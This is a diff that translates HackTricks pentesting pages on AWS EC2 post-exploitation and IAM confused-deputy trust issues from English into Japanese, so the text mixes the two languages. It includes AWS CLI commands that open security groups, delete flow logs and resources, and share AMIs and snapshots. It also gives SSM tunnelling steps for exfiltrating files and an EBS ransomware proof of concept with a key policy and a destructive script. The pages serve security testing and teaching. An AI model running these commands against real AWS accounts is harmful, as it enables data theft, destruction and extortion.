aws ec2 describe-images
|
||||
@@ -48,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
|
||||
If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:
|
||||
**Snapshots are backups of volumes**, 通常は**敏感な情報**を含むため、確認するとこれらの情報が判明するはずです。\
|
||||
もし**volume without a snapshot**を見つけたら: **Create a snapshot**して以下の操作を行うか、または単に**mount it in an instance**してアカウント内のinstanceにマウントしてください。
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -57,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. This allows full offline forensics or data theft while leaving the instance networking untouched.
|
||||
EC2 AMIを`CreateStoreImageTask`で直接S3にエクスポートし、snapshot共有なしで生のディスクイメージを取得します。これにより、インスタンスのネットワークを触らずに完全なオフラインフォレンジックやデータ窃取が可能になります。
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -65,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Useful when the victim volume already has Multi-Attach enabled within the same AZ.
|
||||
io1/io2のMulti-Attach volumeを第二のinstanceにアタッチし、読み取り専用でマウントしてsnapshotを使わずにライブデータを吸い上げます。被害対象のvolumeが同一のAZ内で既にMulti-Attach有効の場合に有効です。
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -73,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Grants quick lateral movement paths without opening public ports.
|
||||
EC2 Instance Connect Endpointを作成し、ingressを許可して一時的なSSHキーを注入することで、managed tunnel経由でprivate instancesへアクセスできます。public portsを開けずに迅速な lateral movement経路を確保します。
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -81,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Enables bypassing internal ACLs or SG rules keyed to specific addresses.
|
||||
被害者のENIのsecondary private IPを攻撃者が制御するENIに移動して、IPでallowlistedされている信頼ホストをなりすますことができます。特定のアドレスに紐づく内部ACLやSGルールをバイパス可能にします。
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -89,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
|
||||
被害者のinstanceからElastic IPを攻撃者に再関連付けして、インバウンドトラフィックを傍受したり、信頼されたpublic IPに見える発信接続を行ったりします。
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -97,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
|
||||
security groupルールがcustomer-managed prefix listを参照している場合、攻撃者のCIDRをそのリストに追加することで、SG自体を変更せずに依存するすべてのSGルールへのアクセスが静かに拡大します。
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -105,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
|
||||
gatewayまたはinterfaceのVPC endpointsを作成して、isolated subnetsからのoutboundアクセスを回復します。AWS-managed private linksを利用することで、IGWやNATがない制御をバイパスしてdata exfiltrationが可能になります。
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -113,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
|
||||
ec2:AuthorizeSecurityGroupIngress権限を持つ攻撃者は、security groupsにインバウンドルールを追加できます（例えば0.0.0.0/0からのtcp:80を許可するなど）。これにより内部サービスがpublic Internetやそれ以外の未承認ネットワークへ曝露されます。
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
ec2:ReplaceNetworkAclEntry（または同等の）権限を持つ攻撃者は、サブネットの Network ACLs (NACLs) を変更して非常に緩い設定にすることができます。例えば、重要なポートで 0.0.0.0/0 を許可すると、サブネット全体の範囲がインターネットや不正なネットワークセグメントにさらされます。Security Groups はインスタンス単位で適用されるのに対し、NACLs はサブネット単位で適用されるため、制限的な NACL を変更すると、はるかに多くのホストへのアクセスが可能になり、被害範囲が大きくなります。
|
||||
ec2:ReplaceNetworkAclEntry（または同等）の権限を持つ攻撃者は、subnet の Network ACLs (NACLs) を変更して非常に許容的にすることができます。例えば重要なポートで 0.0.0.0/0 を許可することで、subnet 全体の範囲がインターネットや未承認のネットワークセグメントにさらされます。Security Groups が per-instance 単位で適用されるのに対し、NACLs は subnet level で適用されるため、制限的な NACL を変更すると、多数の hosts へのアクセスを有効にして、より大きな blast radius をもたらす可能性があります。
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -130,7 +131,7 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
ec2:Delete* と iam:Remove* 権限を持つ攻撃者は、キーペア、launch templates/versions、AMIs/snapshots、ボリュームやアタッチメント、security groups やルール、ENIs/network endpoints、ルートテーブル、ゲートウェイ、managed endpoints などの重要なインフラリソースや設定を削除できます。これにより即時のサービス停止、データ損失、フォレンジック証拠の喪失が発生する可能性があります。
|
||||
ec2:Delete* および iam:Remove* 権限を持つ攻撃者は、重要なインフラ資源や設定を削除できます — 例えば key pairs、launch templates/versions、AMIs/snapshots、volumes や attachments、security groups や rules、ENIs/network endpoints、route tables、gateways、または managed endpoints などです。これにより即時のサービス停止、データ損失、及びフォレンジック証拠の消失が発生する可能性があります。
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
@@ -139,7 +140,7 @@ aws ec2 delete-security-group \
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害者アカウントの外部にネットワークメタデータ（送信元/宛先、ポート）を継続的に収集し、長期的な偵察に利用できます。
|
||||
VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害者アカウント外でネットワークのメタデータ（source/destination、ports）を継続的に収集し、長期的な偵察に利用できます。
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -149,32 +150,32 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
たとえ EC2 をロックダウンして外部へのトラフィックを遮断しても、それでも **exfil via DNS** は可能です。
|
||||
EC2 をロックダウンして外向きトラフィックを遮断しても、**exfil via DNS** によりデータが持ち出される可能性があります。
|
||||
|
||||
- **VPC Flow Logs はこれを記録しません。**
|
||||
- あなたは AWS の DNS ログにアクセスできません。
|
||||
- これを無効にするには、"enableDnsSupport" を false に設定します（例）:
|
||||
- **VPC Flow Logs はこれを記録しません**。
|
||||
- AWS DNS logs へのアクセス権がありません。
|
||||
- "enableDnsSupport" を false に設定してこれを無効化します:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
攻撃者は自身が管理するアカウントの API エンドポイントを呼び出すことができます。Cloudtrail はこれらの呼び出しをログに記録するため、攻撃者は Cloudtrail ログで exfiltrate data を確認できます。
|
||||
攻撃者は自身が管理するアカウントの API エンドポイントを呼び出す可能性があります。Cloudtrail はこれらの呼び出しをログに記録し、攻撃者は Cloudtrail ログ内で exfiltrate したデータを確認できます。
|
||||
|
||||
### Open Security Group
|
||||
|
||||
このようにポートを開くことで、ネットワークサービスへの追加アクセスを得ることができます:
|
||||
以下のようにポートを開くことで、ネットワークサービスへのさらなるアクセスを得られる可能性があります:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
EC2 インスタンスを起動して、それを ECS インスタンスの実行に使用するよう登録し、ECS インスタンスのデータを盗むことが可能です。
|
||||
EC2インスタンスを実行し、ECSインスタンスを実行するために使用されるよう登録して、ECSインスタンスのデータを盗むことが可能です。
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### VPC flow logs を削除する
|
||||
### VPC flow logs の削除
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -184,64 +185,64 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
コマンド実行に加えて、SSM はトラフィックのトンネリングを可能にします。これを悪用して、Security Groups や NACLs によりネットワークアクセスがない EC2 インスタンスから pivot することができます。
|
||||
有用なシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) からプライベートな EKS クラスターへ pivot するケースです。
|
||||
コマンド実行に加えて、SSMはトラフィックトンネリングを可能にし、Security Groups や NACLs によりネットワークアクセスがない EC2 インスタンスから pivot するために悪用される可能性があります。
|
||||
この機能が有用なシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) からプライベートな EKS クラスターへ pivot する場合です。
|
||||
|
||||
> セッションを開始するには SessionManagerPlugin がインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> セッションを開始するには SessionManagerPlugin をインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. お使いのマシンに SessionManagerPlugin をインストールする
|
||||
2. 次のコマンドを使って Bastion EC2 にログインする:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Bastion EC2 の AWS 一時認証情報を [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) スクリプトで取得する
|
||||
4. 認証情報を自分のマシンの `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして転送する
|
||||
3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) スクリプトを使って Bastion EC2 の AWS 一時的な資格情報を取得する
|
||||
4. 取得した資格情報を自分のマシンの `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして転送する
|
||||
5. Bastion EC2 として EKS にログインする:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. `$HOME/.kube/config` ファイル内の `server` フィールドを `https://localhost` を指すように更新する
|
||||
7. 次のように SSM トンネルを作成する:
|
||||
6. `$HOME/.kube/config` ファイル内の `server` フィールドを `https://localhost` を指すように更新します
|
||||
7. 次のように SSM トンネルを作成します:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. `kubectl` ツールからのトラフィックは現在、Bastion EC2 経由の SSM トンネルを通してフォワードされており、次のコマンドを実行することで自分のマシンからプライベート EKS クラスターにアクセスできます:
|
||||
8. `kubectl` ツールからのトラフィックは現在 SSM tunnel を介して Bastion EC2 経由で転送されており、次のコマンドを実行することで自分のマシンから private EKS cluster にアクセスできます:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
|
||||
|
||||
最後に、この手法は private EKS クラスターを攻撃することに特化したものではありません。任意のドメインやポートを設定して、他の AWS サービスやカスタムアプリケーションにピボットできます。
|
||||
最後に、この手法はプライベート EKS クラスターを攻撃することに限定されるものではありません。任意のドメインとポートを設定して、他の AWS サービスやカスタムアプリケーションへピボットすることができます。
|
||||
|
||||
---
|
||||
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
#### クイック ローカル ↔️ リモート ポートフォワード (AWS-StartPortForwardingSession)
|
||||
|
||||
EC2 インスタンスからローカルホストへ**1つの TCP ポートだけを転送**する必要がある場合は、`AWS-StartPortForwardingSession` SSM ドキュメントを使用できます（remote host パラメータは不要です）：
|
||||
もし **EC2 インスタンスからローカルホストへ 1つの TCP ポートのみをフォワード** するだけなら、`AWS-StartPortForwardingSession` SSM ドキュメントを使用できます（リモートホストパラメータは不要です）:
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
|
||||
このコマンドは、ワークステーション（`localPortNumber`）とインスタンス上の選択したポート（`portNumber`）との間に、**インバウンド Security-Group ルールを開くことなく**双方向トンネルを確立します。
|
||||
|
||||
主なユースケース:
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. インスタンス上で、exfiltrate したいディレクトリを指す簡易 HTTP サーバを起動します:
|
||||
1. インスタンス上で、exfiltrateしたいディレクトリを指す簡易 HTTP server を起動します:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. 作業用ワークステーションから SSM トンネル経由でファイルを取得します:
|
||||
2. ワークステーションから SSM トンネル経由でファイルを取得します:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **内部ウェブアプリケーションへアクセス（例: Nessus）**
|
||||
* **内部の Web アプリケーションへのアクセス (例: Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -249,18 +250,18 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
ヒント: 証拠を exfiltrating する前に圧縮して暗号化し、CloudTrail が clear-text content をログに残さないようにしてください:
|
||||
ヒント: 証拠を exfiltrating する前に圧縮して暗号化し、CloudTrail が平文の内容をログに記録しないようにする:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
```
|
||||
### AMI を共有
|
||||
### AMI を共有する
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### パブリックおよびプライベートの AMIs で機密情報を検索
|
||||
### パブリックおよびプライベート AMIs 内の機密情報を検索する
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は、**パブリックまたはプライベートの Amazon Machine Images (AMIs) 内の機密情報を検索する**ためのツールです。対象の AMIs からインスタンスを起動し、ボリュームをマウントして、潜在的なシークレットや機密データをスキャンする処理を自動化します。
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公開またはプライベートな Amazon Machine Images (AMIs) 内の機密情報を検索する**ために設計されたツールです。ターゲット AMIs からインスタンスを起動し、ボリュームをマウントして、潜在的なシークレットや機密データをスキャンするプロセスを自動化します。
|
||||
|
||||
### EBS Snapshot を共有
|
||||
```bash
|
||||
@@ -268,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
S3 post-exploitation notes で示した Ransomware デモと類似した概念実証です。KMS は、その容易さから Ransomware Management Service（RMS）と呼ぶべきでしょう。さまざまな AWS サービスを暗号化するのに簡単に使えるためです。
|
||||
これは S3 post-exploitation notes に示された Ransomware デモに類似した PoC（概念実証）です。KMS は、様々な AWS サービスを暗号化するのが非常に簡単であることから、RMS（Ransomware Management Service）と呼ぶべきでしょう。
|
||||
|
||||
まず 'attacker' AWS アカウントから、KMS に customer managed key を作成します。この例ではキーのデータは AWS に管理させますが、現実的なシナリオでは悪意のあるアクターがキーのデータを AWS の管理外に保持するでしょう。キーのポリシーを変更して、任意の AWS アカウント Principal がそのキーを使用できるようにします。今回のキー・ポリシーではアカウント名が 'AttackSim' で、全アクセスを許可するポリシールールは 'Outside Encryption' と呼ばれています。
|
||||
First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -362,7 +363,7 @@ S3 post-exploitation notes で示した Ransomware デモと類似した概念
|
||||
]
|
||||
}
|
||||
```
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
キーのポリシールールでは、EBS ボリュームを暗号化するために使用できるように、次の権限が有効になっている必要があります:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -370,21 +371,21 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
公開アクセス可能なキーが使える状態になったら、アン暗号化された EBS ボリュームがアタッチされた EC2 インスタンスを持つ 'victim' アカウントを利用できます。 この 'victim' アカウントの EBS ボリュームを暗号化の標的にします。この攻撃は、高権限の AWS アカウントが侵害された想定の下で行われます。
|
||||
公開アクセス可能なキーが利用できるようになったので、未暗号化の EBS ボリュームがアタッチされた EC2 インスタンスをいくつか稼働させている 'victim' アカウントを利用できます。対象はこの 'victim' アカウントの EBS ボリュームであり、この攻撃は高権限の AWS アカウントが侵害されたと仮定したものです。
|
||||
|
||||
 
|
||||
 
|
||||
|
||||
S3 ransomware の例と類似しています。 この攻撃では、スナップショットを使ってアタッチされている EBS ボリュームのコピーを作成し、'attacker' アカウントの公開されているキーを使って新しい EBS ボリュームを暗号化します。 次に元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化した EBS ボリュームを作成するために使用したスナップショットを削除します。 
|
||||
S3 ransomware の例と同様に、この攻撃ではアタッチされた EBS ボリュームのコピーを snapshots を使って作成し、'attacker' アカウントから公開されているキーで新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使った snapshots を削除します。 
|
||||
|
||||
結果として、アカウント内に残るのは暗号化された EBS ボリュームのみになります。
|
||||
これにより、アカウント内に残るのは暗号化された EBS ボリュームのみになります。
|
||||
|
||||
|
||||
|
||||
|
||||
また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止したことにも注意してください。元の暗号化されていないボリュームは現在消失しています。
|
||||
また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止した点にも注意してください。元の未暗号化ボリュームはもう存在しません。
|
||||
|
||||
|
||||
|
||||
|
||||
次に、'attacker' アカウントのキー ポリシーに戻り、キー ポリシーから 'Outside Encryption' ポリシールールを削除します。
|
||||
次に、'attacker' アカウントの key policy に戻り、key policy から 'Outside Encryption' ポリシールールを削除します。
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -455,15 +456,15 @@ S3 ransomware の例と類似しています。 この攻撃では、スナッ
|
||||
]
|
||||
}
|
||||
```
|
||||
新しく設定した key policy が伝播するのを少し待ちます。次に 'victim' アカウントに戻り、新たに暗号化された EBS ボリュームのうちの1つをアタッチしてみてください。ボリュームをアタッチできることが確認できるでしょう。
|
||||
新しく設定したキー ポリシーが反映されるまで少し待ちます。次に「被害者」アカウントに戻り、新たに暗号化された EBS ボリュームのうちの一つをアタッチしてみてください。ボリュームはアタッチできることが確認できるでしょう。
|
||||
|
||||
 
|
||||
|
||||
しかし、暗号化された EBS ボリュームを付けたまま EC2 インスタンスを実際に起動しようとすると失敗し、'pending' 状態からずっと 'stopped' 状態に戻ってしまいます。これは、アタッチされた EBS ボリュームを復号するための key が key policy によって許可されなくなっているためです。
|
||||
しかし、暗号化された EBS ボリュームをアタッチしたまま実際に EC2 インスタンスを起動しようとすると、起動は失敗し、'pending' 状態から 'stopped' 状態へ戻ったまま永遠に進みません。これは、アタッチされた EBS ボリュームをそのキーで復号できないためで、キー ポリシーがもはやそれを許可していないからです。
|
||||
|
||||
 
|
||||
|
||||
これは使用した python スクリプトです。スクリプトは 'victim' アカウントの AWS creds と、暗号化に使用する公開されている AWS ARN 値を受け取ります。スクリプトは、対象の AWS アカウント内のすべての EC2 インスタンスにアタッチされている利用可能な EBS ボリュームのすべてについて暗号化されたコピーを作成し、その後すべての EC2 インスタンスを停止、元の EBS ボリュームをデタッチして削除し、最後に処理で使用したすべての snapshots を削除します。これにより、対象の 'victim' アカウントには暗号化された EBS ボリュームだけが残ります。テスト環境でのみこのスクリプトを使用してください。破壊的であり、元のすべての EBS ボリュームを削除します。使用した KMS key を使ってそれらを復旧し、snapshots 経由で元の状態に戻すことは可能ですが、最終的にはこれは ransomware PoC であることを認識しておいてください。
|
||||
以下は使用した python スクリプトです。これは '被害者' アカウントの AWS クレデンシャルと、暗号化に使用する公開されている AWS ARN 値を受け取ります。スクリプトは、対象の AWS アカウントにアタッチされているすべての EC2 インスタンスに対して、利用可能なすべての EBS ボリュームの暗号化コピーを作成し、その後すべての EC2 インスタンスを停止して、元の EBS ボリュームをデタッチして削除し、最後に処理中に作成したすべての snapshots を削除します。これにより、対象の '被害者' アカウントには暗号化された EBS ボリュームだけが残ります。ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. 利用した KMS キーを使って snapshots から復元することで回復できますが、最終的にはこれは ransomware の PoC であることを認識しておいてください。
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -582,6 +583,6 @@ main()
|
||||
```
|
||||
## 参考資料
|
||||
|
||||
- [Pentest Partners – AWS の SSM を使ってファイルを転送する方法](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
For more information about IAM access:
|
||||
IAMアクセスの詳細について:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,13 +12,13 @@ For more information about IAM access:
|
||||
|
||||
## Confused Deputy Problem
|
||||
|
||||
もしあなたが自分のアカウントの**role**へ**外部アカウント (A) を許可する**と、その外部アカウントに誰が正確にアクセスできるかについておそらく**0の可視性**になります。これは問題です。なぜなら別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**B があなたのアカウントにもアクセスできてしまう可能性がある**からです。
|
||||
もしあなたが**外部アカウント（A）にアクセスを許可**して自分のアカウント内の**role**にアクセスさせると、その外部アカウントを正確に**誰がアクセスできるか**について**ほとんど可視性がありません**。これは問題です。なぜなら別の外部アカウント（B）が外部アカウント（A）にアクセスできる場合、**Bもあなたのアカウントにアクセスできる可能性がある**からです。
|
||||
|
||||
したがって、あなたのアカウントのroleへ外部アカウントをアクセスさせる際に、`ExternalId` を指定することができます。これは外部アカウント (A) が**assume the role in your organization**するために**指定する必要がある**「秘密」文字列です。**外部アカウント B はこの文字列を知らない**ため、たとえ B が A にアクセスできても、**あなたのroleにアクセスできません**。
|
||||
したがって、あなたのアカウント内のroleへのアクセスを外部アカウントに許可する際に、`ExternalId`を指定することができます。これは外部アカウント（A）が**指定する必要がある**「秘密」の文字列で、**あなたの組織のroleをassumeするために**使われます。外部アカウント**Bがこの文字列を知らなければ**、たとえBがAにアクセスできても**あなたのroleにアクセスすることはできません**。
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ただし、この `ExternalId` の「秘密」は**秘密ではない**点に注意してください。`IAM assume role policy` を**読むことができる人なら誰でもそれを見ることができます**。しかし、外部アカウント A がそれを知っており、外部アカウント **B がそれを知らない**限り、**B が A を悪用してあなたのroleにアクセスするのを防ぎます**。
|
||||
ただし、この`ExternalId`という「秘密」は**秘密ではありません**。IAMのassume roleポリシーを**読むことができる誰でもそれを確認できます**。しかし外部アカウントAがそれを知っていて、外部アカウント**Bがそれを知らない**限り、**BがAを悪用してあなたのroleへアクセスすることを防ぎます**。
|
||||
|
||||
例:
|
||||
```json
|
||||
@@ -39,11 +39,11 @@ For more information about IAM access:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> 攻撃者が confused deputy を悪用するには、現在のアカウントの principals が他のアカウントの roles を偽装できるかどうかを何らかの方法で特定する必要がある。
|
||||
> 攻撃者が confused deputy を悪用するには、現在のアカウントの principals が他のアカウントの roles をなりすますことができるかどうかを何らかの方法で特定する必要があります。
|
||||
|
||||
### 予期しない信頼関係
|
||||
|
||||
#### ワイルドカードを principal として
|
||||
#### principal としてのワイルドカード
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
@@ -51,9 +51,9 @@ For more information about IAM access:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
このポリシーは **すべての AWS** にロールの引き受けを許可します。
|
||||
このポリシーは **すべての AWS** がロールを引き受けることを許可します。
|
||||
|
||||
#### サービスをプリンシパルとして
|
||||
#### プリンシパルとしてのサービス
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
@@ -62,7 +62,7 @@ For more information about IAM access:
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
このポリシーは**任意のアカウント**が自分の apigateway を設定してこの Lambda を呼び出せるようにします。
|
||||
このポリシーは**任意のアカウントが**自身の apigateway を設定してこの Lambda を呼び出すことを許可します。
|
||||
|
||||
#### S3 をプリンシパルとして
|
||||
```json
|
||||
@@ -73,7 +73,7 @@ For more information about IAM access:
|
||||
}
|
||||
}
|
||||
```
|
||||
S3 bucketがプリンシパルとして指定されている場合、S3 bucketはアカウントIDを持たないため、もしあなたが**bucketを削除し攻撃者がそれを作成した**（攻撃者のアカウントで）場合、攻撃者はこれを悪用できる可能性があります。
|
||||
If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **バケットを削除しattackerが自身のアカウントでそれを作成した**場合、彼らはこれを悪用できる可能性があります。
|
||||
|
||||
#### サポートされていません
|
||||
```json
|
||||
@@ -86,8 +86,8 @@ S3 bucketがプリンシパルとして指定されている場合、S3 bucket
|
||||
```
|
||||
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **一部のサービスはそれをサポートしていない場合があります**（情報によれば CloudTrail のように）。
|
||||
|
||||
### 認証情報の削除
|
||||
